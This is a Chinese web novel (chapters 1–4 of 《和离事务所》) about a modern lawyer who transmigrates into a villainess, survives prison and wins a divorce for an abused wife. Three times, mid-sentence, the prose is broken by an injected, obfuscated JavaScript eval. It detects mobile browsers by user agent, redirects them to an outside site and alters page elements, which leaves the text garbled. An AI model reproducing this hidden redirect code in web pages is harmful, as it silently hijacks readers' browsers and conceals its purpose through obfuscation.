《和离事务所》 1. 第 1 章 崔令仪是被一鞭子抽醒的。 浑身都疼,右肩更是像被火烧着了一样。她猛地睁眼,正对上一张狰狞的脸。虬髯狱卒拎着浸盐水的皮鞭,獠牙也似的一口黄牙直逼她面门,呼吸间口臭几乎喷到她脸上:“崔大小姐,上头可交代小的了,在牢里边儿让小的好生伺候大小姐,万万不能怠慢了。” 崔令仪被他臭的呼吸一滞,昨天一夜没能好好休息的后劲儿又涌上来,条件反射要别过头去,那人却强行扭过她的脸,几乎贴在她面颊上,教她清晰地看见他脸上的胡渣和毛孔,甚至连头发上都散发着浓烈的酸腐气,像是十年没有洗过了。 崔令仪:“呕。” 当事人还在等她,她应当在去法院开庭的路上,可这是哪里?这人怎么这样—— 原身的记忆慢慢涌进她的脑海,适才苏醒的崔令仪哪里经得住这种刺激,低下头又是一声:“呕。” 她穿进了才看过的古早虐文《缚月》,成了书中的同名恶毒女配。《缚月》讲述的是疯批暴君萧临渊和替身王妃白芷柔的虐恋情深,崔令仪在看这本小说以前,一直以为这是个文艺范儿的清新唯美文,何曾料到其实全员恶人,极致狗血,猝不及防被刀片剌得嗓子眼疼。 男主赵王萧临渊是皇帝和其亲妹的私生子,虽然母亲身份高贵,但由于父不详,从小在世家子弟中被诟病排挤,养成了分外扭曲阴暗的个性。距今大约十年前,十九岁的萧临渊因遭人算计身受重伤,危难之际被年仅十三岁的女主白芷柔搭救。 白芷柔是当朝丞相的庶女,虽然相貌极美,但却由于是庶出不得父亲宠爱,自小遭遍白眼,但即便如此,仍然养成了她表面温顺柔弱,实则隐忍顽强的性格。白芷柔那时仅有十三岁,却有勇有谋,在无数黑衣杀手的围剿下成功掩藏住萧临渊的行踪,但只在她出门为萧临渊采伤药的片刻工夫,其嫡姐白芷依趁虚而入,冒领其功。萧临渊为了报答,与圣上求了赐婚的圣旨,只待白芷依及笄便要大婚。 然而白芷依身体极差,少年早殇,就在及笄礼的前一天撒手人寰。她过世以后,萧临渊强娶了白芷柔。新婚之夜,萧临渊强迫她穿上白芷依的嫁衣,冷笑说:“你连她一根头发都不如,但也够用了。” 原身崔令仪乃是尚书千金,是个十成十的绿茶。她自幼爱慕萧临渊,却因得不到回应而心灵扭曲,作恶多端,就连白芷依的速死与她也不能说全无瓜葛。此后,原身又不甘心输给女主一个替身,在她的蓄意挑拨之下,男女主诞生了更多高能名场面。 如原身栽赃白芷柔偷偷喝避子汤,萧临渊发觉以后大怒,当场灌她十碗红花。白芷柔怀孕后,被原身栽赃孩子是她与郎中通奸所怀的孽种,在萧临渊的震怒之下白芷柔最终血崩流产。萧临渊要领兵出战,原身伪造白芷柔与敌国将领的信件,萧临渊不经调查,直接将白芷柔押入地牢对她施以严刑……白芷柔最终实在是被他虐待的忍无可忍,选择死遁,他突然又从陈芝麻烂谷子的地方翻出当年的回忆,通过种种佐证,终于发现白芷柔才是他的救命恩人,悔不当初,每天怀抱着白芷柔的尸身上朝。最终,白芷柔被他的痴情所感动,两人重逢后happyending。 槽多无口。 作者究竟是在什么精神状态之下才写出的这种东西?这种忍者神龟女主到底是戳到了什么人的XP?女主忍到最后命都忍没了,男主站在她面前说了一句:“是我错了,以后我们好好的。”就可以欢欢喜喜的继续在一起了?就这种玩意儿居然还能卖出影视版权,还能请来她喜欢的女星倾情上演。 连普通读者看完都该跨个火盆。 崔令仪本仪在该女星的微博底下劝了一夜,能别演就别演,要是非要演还不如演女配,虽然死的也很惨,但是至少还能保有一丝尊严。 谁能想到第二天她睡眼惺忪地去开庭,无意间遇上十八车追尾,应该是当场死了,否则也不会出现在这个地方。 那狱卒两次被她嫌弃,又羞又窘,扬手就要扇她巴掌。崔令仪吐不出来,又不想教那人碰到她,立刻喊了一声:“慢着!” 那狱卒果然收了手。 崔令仪问:“你成亲了么?” 那狱卒好似被她戳穿了伤心事:“跟你有什么关系?!” “成亲了就该知道我为何会呕吐不止。”崔令仪道,“我怀孕了,赵王的,你敢打我,要是伤到了赵王的孩子,你不要命了?” “可是,可是上头说……” “你上头是赵王么?”崔令仪问。 狱卒摇头。 “那他怎么会知道我跟赵王的事儿?”崔令仪眼睛一瞪,“且不说我跟赵王是青梅竹马两小无猜,至少我还是尚书府的小姐,你就那么肯定我一定出不去了?按《周律》卷二十二,欺辱流刑女眷者黥面徙三千里,你京城不想呆了?” 原书里提到《周律》的情节并不多,大家都是法外狂徒,看什么《周律》,这一条实际是崔令仪瞎编的。 可狱卒举鞭的手已经僵在半空。 “大人,做人留一线,日后好相见。”她苦口婆心的劝慰道,“赵王这是在跟我撒娇呢,他的个性满上京城谁不知道,他就是喜欢这种情趣。等他知道我肚子里有了他的孩子,自然会八抬大轿接我出去的。” “可是你就难说了。赵王向来睚眦必报,人命在他眼中跟草芥也没什么分别。你上头跟你说,让你来好好伺候我,他自己怎么不来呢,是不想还是不敢?为了全家老小的性命,你自己可要想个明白。” 事实上剧情进展到这里,整部小说已经快要进入高潮了。 白芷柔饮下十碗红花以后竟然还能怀孕,只是胎儿孱弱,经不起刺激。就在这时原身污蔑白芷柔是因为和郎中通奸而有孕,闹得满城风雨。白芷柔流产后,在心力交瘁之下力证孩子并非和外人通奸所生,萧临渊因此第一次怀疑原身的居心,将她送入刑部大牢。 他本性残忍嗜杀,为了从原身口中得知原身陷害白芷柔的真相,嘱咐狱卒,可以“无所不用其极。” 崔令仪情不自禁扶额,为自己前路渺茫而感到担忧。因为在接下来的剧情里,白芷柔渐渐打动了萧临渊,原身做过的坏事也将一件一件浮出水面,正是因此,原身才会气急败坏栽赃白芷柔通敌卖国。 正当崔令仪为此感到头痛时,有一阵机械音在她的脑海中响起。 【亲爱的宿主您好,欢迎您进入古代言情小说《缚月》的世界。我们致力于给您最好的穿越体验,所以希望您认真对待这次任务,主线任务全部完成后,宿主将会有一次重新获得生命的机会。但如果宿主不能完成主线任务,或在任务中死亡,宿主将被永久抹杀。】 【请宿主在两日内完成新手任务:助商户女阿阮成功和离。】 【奖励:和离值+3,寿命增加3日。】 【任务失败,宿主将被即刻抹杀。】 “不是,我人还在牢里,怎么去拯救别人?”崔令仪立刻反驳,系统却不予作答。 别人穿越都做公主、王妃、大小姐,单她一个,穿越来坐牢。崔令仪孤身躺在监牢潮湿阴冷的茅草之中,捂着因飞速运转而感到剧痛的额头,由衷地感觉力不从心。 等夜色渐渐深了,牢头打叶子牌、喝酒的声音都消失了,崔令仪才站起身。她研究了一会儿正拴在她木栅栏门上的锁头,忽然留意到一直盘旋在她耳边,她却从来没有注意到的细弱的呻吟声,仿佛是个气息奄奄的女子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392343|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 崔令仪扭过头,瞧见隔壁牢房之中正躺着个浑身是血的女人。更加耀眼夺目的是她头上顶着一个硕大无朋的箭头,旁边金灿灿地标着两个字“阿阮”。 好嘛,原来任务对象就在她的身边。 崔令仪缓缓走到拦在两人之间的栅栏边上,更加清晰地瞧见那女子身上的伤口。头上的、脖子上的、胳膊上的看起来是被人殴打所致,而后背臀部上大片的伤痕则是被衙门打的板子。 她看起来只有进的气,没有出的气儿了。崔令仪懊恼自己连这么明显的箭头都找不到,平白耽搁了许多时间。如果阿阮死了,那她俩在一处,也算黄泉路上有个伴。 但是也不能这么轻易的放弃。崔令仪站在原地思索良久,最终小心翼翼地问了她一声:“阿阮,你还好吗?” 几乎不成人形的女人闻言,微微地睁开了一点眼睛。 “你还能说话吗?”崔令仪又问。 等了半晌,她才听见阿阮气若游丝地向她吐出半个字:“嗯。” “你的伤是被你丈夫打的?”崔令仪大脑飞速运转。阿阮看起来说不了话,难以向她倾诉她的悲惨遭遇,但她可以猜得出来一些,“为什么被你丈夫打了,衙门还要打你板子?若你还有力气,不妨跟我说一说是什么缘故,兴许我可以帮你呢?” 良久,她听见阿阮一字一顿地道:“因为我要毒杀我的丈夫。” 好,帮不了。 任务目标不是帮助阿阮和离吗,也没说是捞杀人犯啊。这难度能一样吗? 崔令仪在心里痛骂了系统一秒,再转过头看向阿阮,心中有了猜测:“是你丈夫殴打你,所以你才要毒杀他?” 阿阮的气息已经越来越轻:“是。” 她显然是要不行了。 阿阮现在必须要有个大夫,要不然她死定了。崔令仪是不会医术,但她看阿阮双眼涣散,身上血都不流了,没准儿此刻都已经看见走马灯了。要完成任务不能没有阿阮,而就算她最后还是一个死字,也不能眼睁睁看着一条性命就这么消散在她面前。 崔令仪立即扯着嗓子朝门外大喊:“快来人啊,人犯要死了!”喊了半天也无人应答。这刑部大牢怎么晚上都没有人值班啊,是真不怕犯人跑了。 她嚎叫了一会儿,未果。可是人命关天,阿阮显然不能耽误下去了。 她抡起膀子就往门上撞,撞的闩门的铁链一直哗啦哗啦的响。许久见没有效果,忽地想起小时候看过的电视剧。 今晚的水她嫌是生水,尚且没有喝。崔令仪拿水浸湿了外袍,再把外袍绞在两根木栅栏上,没有撬棍,干脆拿铁链子拴在一起搅。如此反复多次,木栅栏倒真是让她拧出个缝隙。她便自此钻进阿阮的监室,给她做了一阵心肺复苏。 等阿阮渐渐有气息往肺里进了,她这才松了口气。只是如此怕也撑不过今晚,崔令仪如法炮制,拧开阿阮所在监室的大门,冲到刑房前去,她如今也知道大喊大叫没什么用,于是捡起火盆、烙铁等一众刑具痛击那铁门,制造出极大的声响。 好在她在现代也常常举铁,在正确的发力下还不觉得十分辛苦。这样大的噪音,只要有人值班就不会忽视。果不其然,没一会儿她就听见铁链教人拖动,有哗啦啦的声响,是锁头被人打开了。两扇及其笨重的铁门被人推开时溅起飞扬的尘土,有一股潮湿的霉味和不容忽视的血腥气顿时充斥整个刑房。 阴影里有个身着玄衣的男子慢慢走进来。 他身后是两排手持火把的青年军士,甲胄森严。此人身量生的极高,穿过夜色与刑狱之内昏沉的黑暗,一双眼仍亮的摄人。等他慢慢走近了,崔令仪瞧见他衣领上是金丝线绣的獬豸,原来是一位刑官。 2. 第 2 章 “这样大张旗鼓逃狱的本官还是头一次见。”那人语调虽慢,其言语之间却无端教人遍体生寒,“崔小姐,你知道逃狱是何等罪过么?” “我没有要逃狱。”崔令仪解释道,“我隔壁的女犯就要死了。我看她才受过刑,想必刑部还没有给出判决。没有判决结果的女犯,即便是有杀人的过失,也不能任由她就这么随便死了罢,《周律》中没有相关的规定吗,犯人不能保外就医吗?” “何谓‘保外就医’?”她这话到真把那人问住。 职业病犯了。崔令仪情不自禁扶额。随后她向众人解释道:“……保外就医就是像我们这样的犯人,在身患严重疾病或者短期内有死亡风险的情况下,经过鉴定,可以在监狱外接受医治的一种制度。” “无论《周律》中有没有相应的规定,在尚未具体量刑以前,都应当保证人犯的生命安全。大人身为刑官,为求公义,更应该珍视人犯的性命。”崔令仪又道,“时间紧迫,请大人先去看看她的情况,我的过失我们可以容后再谈。” 崔令仪说着便将人往里边带,眼前刚刚缓过一口气的阿阮又忽然不好,崔令仪等不急狱卒开门,又从她拧出的栅栏缝隙钻进去给阿阮做心肺复苏。 目睹这一切的所有人:…… 人群中有人说:“崔小姐在这里可真是如入无人之境啊。” “别说风凉话了。”崔令仪道,“就算不能保外就医也得给她请个大夫啊,要是她死了,这个案子不就成了悬案吗,你们刑部年底不要求破案率啊?” 还是破案率实在。那位刑官闻言立刻上前检查了阿阮的状态,确实如崔令仪所言。他虽不懂崔令仪正在救治阿阮的方法,却看得出有效。只是想必不能长久,阿阮确凿是需要医治的。 他一挥手,后边就有两人上前将阿阮抬走。这下崔令仪总算松了一口气,她再看向那位刑官,他道:“针对崔小姐逃狱的事情,我们换个地方好好聊聊罢。” 深夜的刑堂仍然亮如白昼,人来人往,看来办案部门加班加点是从古至今的常态,倒不像崔令仪想的那样,是个到点就下班的npc世界。 “在下大理寺少卿谢珩。”他向崔令仪拱手,“未能及时察觉人犯的状态,这是我的过失,此番还要多谢崔小姐。” 崔令仪却问他:“《周律》里对此真的没有相关规定吗,我觉得应该加上这一条。不但能够保证人犯的生命安全,对你们开展工作也有益。” “我会酌情上奏。”谢珩道。 崔令仪立即打蛇上棍:“谢大人,关于我逃狱的事情,我以为是不构成犯罪的。一般来说,逃狱是指囚犯通过非法手段离开监狱的行为,但我没有离开啊,我又回来了。我破坏监狱的设施只是为了及时拯救人犯。人民群众的生命安全高于一切,按道理说你们应该给我颁发见义勇为奖的。” 谢珩道:“崔小姐真是说的头头是道。但《周律》并非儿戏,你身为囚犯,擅自破坏监狱设施,便已是犯了重罪。不过念在你救人心切,又确实于情于理都占得上风,逃狱之事,容后再议。” 崔令仪立刻称赞他:“谢大人真是明察秋毫。” “我瞧这女监也根本关不住崔小姐,继续羁押崔小姐其实并没有意义,想来崔小姐也不想再回到那里去了。崔小姐想出狱,与其琢磨些旁门左道,不如堂堂正正地走出去。”谢珩道,“接下来,崔小姐还是给我讲讲你的案子。你给赵王妃白氏下毒致其流产,人证物证俱在,若是崔小姐不能讲出个子丑寅卯,依本官看,恐怕很难翻案。” 崔令仪道:“谢大人,我不会陷入你的自证陷阱,我没做过的事情无需向你证明没做过。但是事关我的清白,我确实也想为自己辩驳几句。” “赵王妃指证我收买了她身边的侍女给她下堕胎药,其实证据链并不完整。第一,人证。说我收买她的侍女,若我当真要收买她给赵王妃下药,必以重金许诺或以其把柄相胁,但是可曾搜出了金银契书?可搜出我给她的密信?赵王妃的侍女都是她母家的家生子,一个家人生死皆系于主母之手的人,怎会为我随口两句许诺背叛旧主?依我看她的证词不可当真。” 刻意忽略掉白芷柔在娘家不受重视的事实。 “第二,物证。说我给赵王妃下红花,我一个未嫁女,不会在家中预备这种药,那么我的红花是从何处得来的?我是在街上买的吗,没有药铺能证明我为了毒害赵王妃去他家实名购买了红花。而红花在上京城又种不了,红花产于北疆荒漠,早因为战乱断绝贸易了,我实在没有办法能够拿到。” 其实原身是在萧临渊手上偷的。 “第三,时间线。赵王妃称侍女是本月初八给她下药。而当日辰时至巳时,我正于大报恩寺为太后抄经祈福,寺中僧侣、香客百余人皆可作证,从城郊到王府足有三十里,侍女供词中称是眼见我将药交给她,那就奇怪了,不知是鬼魅附身,还是有人教唆伪证?” 也不一定非得当天给吧。 “第四,动机。赵王妃小产后最大的得益者是谁?当然是她自己。她因为以前一直服用避子汤,所以和赵王之间心有芥蒂,此举无非是用流产惹得王爷怜惜。而我,我又不是她家的人,她怀孕不怀孕关我什么事,跟我有一毛钱关系?” 这就更属于强词夺理了。不过第五点确实是崔令仪发自内心的想法。 “我个人是认为当今世界其实没有中药能够安全有效的迅速致人流产。当年赵王妃背着赵王偷偷服用避子汤,被赵王发现,一连灌了她数碗红花。她十几碗吃了都没事,都还能怀孕,可见红花能否致人流产还是个谜。就算是我给她下红花,那一星半点又足够致她流产了?” 谢珩思索良久,最终还是对她承诺:“你说的疑点本官自会一一考证。此事查清之前你还不能回家,你就暂且在大理寺住下。若最终能证明你无辜,我绝不会袒护赵王。” “大人真是刚正不阿。”崔令仪笑的眉眼弯弯,“我愿意在大理寺住着,只是有个不情之请,希望大人能够答应。” “是什么?”谢珩问。 “我要一本《周律》。”她道,不了解这个世界的法律规则,她寝食难安,“我还想看看阿阮的卷宗。” 谢珩有点意外:“阿阮给她的丈夫投毒,人证物证俱在,她自己也招供了犯案事实。她的卷宗我亲自看过,没有疑点,你还看来做什么?” “真的没有疑点吗?”崔令仪问。 “阿阮被她的丈夫殴打多年,身上暗伤无数,不少伤口都难以与外人言说。我想她是想过要和离的,但不知出于什么原因,和离不成,以至于她痛恨她的丈夫,恨到要将他毒死。” “阿阮杀人未遂是不错,但她的丈夫故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392344|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤人多年,乃至于她多次死里逃生,竟然就能以受害者的身份轻轻揭过?大人,妻子就不是人?妻子被丈夫殴打近乎丢命,便可轻轻放过,而丈夫被妻子毒杀未遂,就要被投进死牢?无情如赵王,也会在妻子流产之际彻查真相,无论我是否无辜,他至少还愿意捍卫妻子的权利。” “而阿阮呢?大人,这不公平。” “世上每一个男人都有母亲,倘若有一天这世界上没有女人,只有男人,那一定和地狱没有分别。社会之大,性别歧视根深蒂固,或许以我一家之力并没有办法彻底改变,但在律法上,量刑上,至少要做到绝对的公平。” 谢珩瞳孔放大,显然大为震撼。 崔令仪在心里默念了三遍“他是古代人他是npc”,暗地里已经做好了任务失败再死一次的准备。却没想到谢珩只顿了顿就跟她说:“那好,一会儿我就拿来给你。” 崔令仪反应的还比他久些。 半晌,她心里的小人一边儿高呼:“有救啦,有救啦!”一边翻开阿阮的卷宗。 阿阮的翻案难度确实很大。 丈夫长期家暴妻子,妻子离婚不成,选择杀害丈夫。这样的事即便在现代也不是没有,一般这种情况在法院审理过程中,最好的结果就是争取认定从轻、减轻情节考量,想要认定正当防卫是几乎不可能的,何况阿阮案属于投毒,是蓄意杀人,完全不符合正当防卫的认定程序。 尤其这又是古代,男尊女卑思想根深蒂固。按照《周律》的规定,如果妻子告发丈夫家暴,丈夫虽然会受到处罚,但妻子也要面临两年刑狱。这种杀人未遂量刑更重,虽然一般不至于处斩,但是也会面临流放等较为严重的刑罚。 难度如此之高,系统才奖励给她三天寿命,真是抠门之极。 崔令仪一夜未眠。 为今之计,只能多管齐下。时间紧迫,不容耽搁了。 她一大清早就来到谢珩的庑房,拍开他的门。谢珩看起来才睡下不久,她顾不得寒暄,张口便道:“我要看阿阮案的证物。” 剩余毒药,被下了毒的甜汤,卖毒药给阿阮的摊贩及阿阮丈夫的证言。 崔令仪手中拿着毒药在鼻端轻微地嗅了一下,问道:“做过毒理检测了吗,这是什么毒药?” “是砒霜。”谢珩答道。 “这不是砒霜。砒霜实际上是二氧化三砷,是无味的白色霜状粉末,这个质地和味道都不对。”崔令仪立刻道。 阿阮买来的毒药呈灰白色,质感细腻,有一股淡淡的草腥味儿。她蹙了蹙眉,又道:“大人为何不请个郎中来查验一下,这东西肯定不是砒霜,倒更像是曼陀罗。” 谢珩问道:“曼陀罗?” “曼陀罗内含大量的生物碱,对人体的中枢神经有兴奋作用。小剂量服用会让人产生幻觉,有头晕、口干的症状,一般不致死,在目前这个时代的医学应用中,是比较常见的麻醉剂。” “若这并不是毒药,那么大人,阿阮杀人未遂,便可以辩白了。” 谢珩道:“你说的稍后我会找个大夫查验,若你所言为真,本官会重新审理。” “但即便毒药买错,阿阮在主观上意欲谋杀她的丈夫亦是事实。有动机,有人证,即便重新量刑,按照《周律》,也不能过轻。” “我会再找新的证据。”崔令仪道。 3. 第 3 章 阿阮现在还没有清醒,于是崔令仪假借谢珩之名叫来了其余两位人证。那位卖毒药给阿阮的小贩很快就招供,阿阮在购买毒药时语焉不详,并没指明要买砒霜。阿阮那日鼻青脸肿,郎中给她开了伤药却没有钱买,言谈之间说是她的丈夫打的,想要一些能够让她丈夫安然入眠的药物。 小贩出于同情。就给了她曼陀罗。 曼陀罗是常用的麻醉剂,用量得当确实会让人入睡。只是谢珩在审理案件的时候,阿阮的丈夫口口声声说阿阮是买的砒霜给他下毒,小贩又害怕担责又担心是自己拿错了,才说阿阮向他买的就是砒霜。 阿阮的丈夫是一位杀猪匠。他本人并不认识砒霜,只是喝了一口甜汤之后感到恶心、眩晕,因此推测阿阮给他投毒。他个人所知道的毒药只有鹤顶红和砒霜,鹤顶红想必是红色,而从阿阮手中搜出来的毒药是白色的粉末,因此他认定阿阮给他下的正是砒霜。 另外根据周围其他街坊供述,阿阮的丈夫酗酒、好赌,无论喝多了还是赌输了,回家都会殴打阿阮。另外据调查阿阮的丈夫确实也存在失眠的病症,这跟他长期精神保持高度兴奋、工作强度较大是有一定关系的。 如此,证据已经被崔令仪一一推翻了。 接下来就是最重要的一件事了,也就是要由阿阮本人亲自推翻她的杀人动机。 只要阿阮出于她的主观意愿想要购买毒药杀死她的丈夫,就必定会被刑官断为杀人未遂。阿阮本人的供词中已经明显出现了神情恍惚的情况,前言不搭后语,刚才还说砒霜是在前街买的,一会儿再问又说砒霜是在后街买的,这样的精神状态明显是被屈打成招,不应具备法律效力。 谢珩同意了她重新审理阿阮的建议,并且将她得到的新证言一一记录在案。阿阮也算是争气,在崔令仪为她忙完了这大半日以后竟然真的醒转过来,见到崔令仪还记得是她救下了自己的性命,流着泪就要向她下跪。 崔令仪道:“不用这样客气。如今你的性命不在我手里,而在你自己手中。我问你几个问题,你需得仔细思量以后,据实回答于我。这位大人乃是大理寺少卿谢珩,若你真有冤屈,他会为你伸冤的。” 阿阮泣道:“贱妾一定知无不言,言无不尽。” 半躺在榻上的阿阮如今身形消瘦,病骨支离。浑身上下没有一处好肉,里里外外缠着四五样不同的绷带,即便如此,她裸露在外的眼眶、脸颊也都是红肿的。虽然崔令仪早有心理准备,但真的这样直观的看到现实里的她,只觉得下药毒死他都是轻的。 “阿阮,第一问,你身上的伤都是怎么来的,你的丈夫曾经家暴你吗?” “是,相公有殴打贱妾的习惯,目前贱妾身上的伤病有八成是由他殴打所致。” 阿阮便逐一跟她说了身上的伤痕,许多伤害甚至是永久性的、终生难以愈合的,围观者听的都倒吸一口冷气。 怎么一个古言虐文,里边所有的女性角色都是受气包啊。 崔令仪深吸了一口气,试图保持她职业律师的专业素养:“阿阮,第二问,你丈夫是否长期患有失眠症,需要服用特定的药物才能入睡。” 阿阮答道:“是。” “他身患严重的失眠症,常在城东的孙郎中处抓药,但总也吃不好,贱妾才转而去问了卖西域奇药的摊贩,将药掺在甜汤里哄相公喝下。但相公饮下以后突发不适,这才殴打了贱妾,甚至还报了官。” “第三问,你的嫁妆现在何处,田契、首饰都变卖了吗,是否都成了你丈夫的赌资?” “是,贱妾成婚之时,娘家陪嫁三十贯,为给相公偿还赌债,业已全部花完。” “第四问,你公婆是否知情,族中长辈可有对他不满?” “是,公婆知情,长辈不满。但相公从不以为意,甚至对公婆偶尔也会拳脚相向,不留余地。” “第五问,你丈夫是否有外室、曾嫖宿,或在官府留有案底?” “是,天顺五年七月十八,相公因与一男子争抢一位粉头,将对方殴打致重伤,此案曾由京兆府审理,判决他拘役十个月,大人尽可以查问。” “第六问,你是否因此怀恨在心,想要毒杀你的丈夫?” “贱妾冤枉,贱妾不曾。之前贱妾被相公打怕了,刑部的大人们又不问因由,直接对贱妾施以大刑,贱妾但求速死,因此什么都愿意认下。” “第七问,你与你丈夫是否感情破裂,今后是否还能一起生活?” “是,贱妾与相公……感情破裂。贱妾求大人今日赐我和离,”她眼含热泪,用词决绝,“否则就不如赐我一死,清净痛快。” 崔令仪转身看向谢珩,微微向他行礼:“大人,‘义绝七问’已经问过,民女阿阮证词在此,请大人明察秋毫,铁面无私。” 至此,阿阮案已全部翻供。 崔令仪与谢珩离开以后,他一路上也不肯说话。崔令仪本以为他是觉得断错案羞耻才不张口,谁知等崔令仪踏进庑房的一瞬间,他紧跟其后,还把门关上了。 “崔令仪,”他一字一顿,“你诱供。” 事到如此,崔令仪已经不怕他看出来了。将将日暮,还剩一点残阳余晖映照在她的面颊上,为她的容颜打上一半明艳的落日,另外一半却沉在夜幕中,阴沉沉的教人看不真切。 原身相貌是极温雅清秀的,即便是如今给她一连糟蹋了好几日,也只是多了三分令人一见难忘的楚楚可怜。她仰头看着他,显出一个分外甜美不知事的笑容:“怎么了吗,大人?” “我们的游戏规则上,说明了‘禁止诱供’吗?” 谢珩一时语塞。 诱供虽然为人不齿,但是任谁面对阿阮当时的情况,面对那种铁证如山,都很难想出别的办法了。 半晌他道:“可笑本官原还以为你是个办案奇才,起了爱才之心。” “大人。”她打断他的话,“你可能搞错了。” “我不是侦探,我是个状师。” “当事人的诉求就是我的诉求,我要追求的,从不是什么公平正义。” 这是个极为棘手的对手。谢珩终于明白了,如今她又要来做状师了,大周的天,恐怕要翻一翻了。 不知怎地,他竟然还感到一丝畅快。 “竟然是这样,我还在想为何你会把阿阮案看的比自己的案子还重。你为她的案子各方奔走,使尽浑身解数,我还在想,为何会如此。” “明明你也有一把刀正高悬在头颅之上,可你竟毫不在乎。” “原来如此。” 崔令仪道:“大人,阿阮案如今也算有个了结了。她夫妇二人实为怨偶,阿阮的嫁妆业已全部为她的丈夫偿还赌债,彼此之间有怨无恩。与其判决之后阿阮还要日日挨打,不如请大人就顺应了他们夫妇双方的诉求,判他们和离罢。” 许久,谢珩轻声应下了她:“嗯。” 【恭喜宿主任务完成,和离值+3,寿命+3日】 【宿主可以查询系统商城,通过和离值兑换物品。】 这3天来的未免也太困难,若不是钻了古代办案程序不规范的漏洞,就是大罗神仙来了也救不出阿阮。 崔令仪精疲力尽地躺在榻上,尽管身子已经很疲累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392345|168598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她却因为飞速运转的脑袋而失去了睡意。新手任务已经这么难了,鬼知道往下会有多困难,果然逆天改命难如登天。 崔令仪点开系统商城,里头确凿有不少值得兑换的好东西。如读心术体验券、神奇迷烟、吐真剂、记忆修改丸等等,不过最吸引她的还是与《周律》相关的物品。 大判官笔:可以根据宿主需要,修改一条法律条文。 伪官印体验卡:限时一小时,一小时内无人可以看出破绽。 公堂必胜buff:可以让对方讼师突然结巴或者让判官突然偏心我方。 真是不错,就是需要30点和离值才能兑换,而她现在只有3个和离值,没有一个律师能够抗拒可以随意修改法律条文的诱惑,这样来看系统的任务也不是完全不值得一做。 系统适时向她发布新任务。 【请宿主在七日之内完成第一个主线任务:阻止谢珩与李小姐订婚】 【奖励:和离值+7,寿命增加7日。】 【任务失败,宿主将被即刻抹杀。】 崔令仪:? 【请宿主在三日之内完成第二个支线任务:成立离婚事务所。】 【奖励:和离值+7,寿命增加7日。】 【任务失败,宿主将被即刻抹杀。】 系统要是想杀了她,大可不必如此大费周章,直接说就行了,确实没有必要拿规则把人给卡死。 崔令仪又是几乎一夜未眠,天蒙蒙亮时她才终于入睡,不多一会儿却被外头嘈杂的噪音吵醒。又过了半刻,有女官推开庑房的大门:“崔小姐,若是醒了就起身罢,崔尚书来接你了。” 崔令仪正睡眼惺忪,闻言很是意外:“谢大人呢,他也同意放我走吗?” 女官道:“是,谢大人判定小姐您没有直接导致赵王妃流产,昨夜已经依言回禀过赵王了。” 说着她看向崔令仪的眼神中还浮出两抹崇拜之色:“崔小姐真是女中豪杰。昨日崔小姐对阿阮的‘义绝七问’,问的好极了,若崔小姐能加入大理寺,那必是我大周女子之福。” “《周律》对女子太过严苛了,即便男子是过错方,女子想要和男子对簿公堂,又谈何容易。”崔令仪叹道:“我未来要做的事,应当能比在大理寺调查冤狱,更容易帮到大周的女子。” 崔令仪登上了尚书府的马车。 原著中崔令仪免除牢狱,也是崔尚书在其中斡旋。崔令仪是崔尚书的独女,自幼丧母,因此才野蛮生长以至于到这般田地,崔尚书在整本小说里,就是一刻不停的在捞女儿。 这是否也算她这身份的一个金手指?崔令仪苦中作乐地想。 甫一见崔尚书,崔令仪就神色怪异。无他,崔尚书长相与她读研时候的导师极为相似,一见到这张脸她就情不自禁想要伏低做小,想要给他打扫卫生接送孩子。 幸好崔尚书很快就离开家上朝去了。崔令仪想到她的第二个主线任务,想开律师事务所,总要有场地罢?她立刻将管家喊了过来,问他:“我有没有那种在闹市区、比较宽敞明亮的闲置铺子,我想做点小买卖。” “有是有,可是小姐要做什么买卖呢?”管家犹豫不决,“听说小姐昨天给屠户妻打了一场离婚官司,尚书大人听说以后,虽然没说不赞成,但明显是不太同意的……” “我自然不会做离经叛道的事。”崔令仪道,“我已经想好了,我要开一个女德班。” “女德班?” “对,女德班,专教女子温、良、恭、俭、让,让普天下的女人都能够熟读《女则》、《女训》还有《列女传》。” 4. 第 4 章 崔令仪的女德班开张三日,门可罗雀。 她坐在掉漆的绣架前神游天外,指尖敲着系统面板,上边明晃晃地写着: 【剩余和离值:3,剩余寿命:4时辰】 说不好这就是她人生中的最后8小时了。崔令仪轻轻叹了口气,环视着她赶工出来的女德班,连门外的楹联都是取自《列女传》,虽然她早料想女德班会碰壁,但现如今她也实在没什么好办法能完成任务。 拆散谢珩和李小姐,自她出狱以来她就没再见过谢珩了。李小姐是哪家的小姐,世界上姓李的大概有一亿人吧,谁知道哪个才是谢珩的未婚妻? 